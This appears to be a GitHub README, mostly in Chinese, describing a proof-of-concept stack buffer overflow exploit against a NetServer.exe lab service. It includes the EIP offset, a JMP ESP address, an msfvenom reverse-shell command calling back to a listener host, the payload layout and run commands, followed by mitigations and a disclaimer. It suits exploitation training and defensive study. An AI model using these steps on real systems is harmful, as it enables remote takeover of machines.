JordanCyber3/NetServer-RCE-Exploit
GitHub: JordanCyber3/NetServer-RCE-Exploit
一个用于复现 NetServer.exe 栈溢出并实现 RCE 的 PoC 工具，展示了从 EIP 控制到反向 shell 的完整攻击流程。
Stars: 1 | Forks: 0
# NetServer RCE 漏洞利用（缓冲区溢出）
## 概述
本项目演示了如何利用 NetServer 服务中的**基于栈的缓冲区溢出**漏洞，从而实现**远程代码执行（RCE）**。
该漏洞利用通过覆盖 EIP 寄存器，将执行流重定向到由攻击者控制的 shellcode。
## 🛠️ 实验环境配置
为了重现此漏洞利用，请使用以下受控环境：
### 1. 虚拟环境
* **目标操作系统：** Windows 10 Enterprise
* 下载地址：
```
* **结果：** 2007 字节
### 3. 控制执行流（EIP）
为了重定向执行流，使用了以下地址：
* **EIP：** `0x625012A0`
* **模块：** `netserver.dll`
* **指令：** `JMP ESP`
* **Opcode：** `FFE4`
该地址通过 **mona.py** 进行识别，并使用 `msf-nasm_shell` 进行验证，以确保其与该指令的正确 opcode 相匹配。
### 4. 识别 Bad Characters
在内存分析期间，发现以下字符会导致 payload 损坏：
* **Bad Char：** `\x00`
使用 `msfvenom` 生成 shellcode，并排除了无效字符：
```
msfvenom -p windows/shell_reverse_tcp lhost=192.168.18.42 lport=443 exitfunc=thread -b "\x00" -f c
```
### 5. NOP Sled 与 Payload 结构
最终的 payload 结构：
```
"A" * 2007 + EIP + "\x90" * 32 + shellcode
```
使用了 **NOP Sled (0x90)** 来提高执行的可靠性。
### 6. 远程代码执行 (RCE)
漏洞利用的最终执行成功获取了**可用的反弹 Shell**，确保了对目标系统的完全控制。
## 🧪 使用的工具
* Immunity Debugger
* mona.py
* msfvenom
* msf-pattern_create / msf-pattern_offset
* msf-nasm_shell
## 💻 执行
```
# Clone o repositório
git clone https://github.com/JordanCyber3/NetServer-RCE-Exploit.git
# Acesse a pasta
cd NetServer-RCE-Exploit
# Execute o exploit
python3 scripts/exploit.py
```
## 🔐 缓解措施
此漏洞之所以能够被利用，是因为所使用的模块中缺乏现代保护机制。
能够阻止此类漏洞利用的缓解措施包括：
* **ASLR (Address Space Layout Randomization)**
* **DEP (Data Execution Prevention)**
* **SafeSEH**
## ⚠️ 免责声明
本项目专为教育目的和信息安全研究而开发。
未经事先授权使用这些技术是非法的。
标签：Shellcode, 云资产清单, 技术调研, 概念验证, 渗透测试, 漏洞利用, 缓冲区溢出, 逆向工程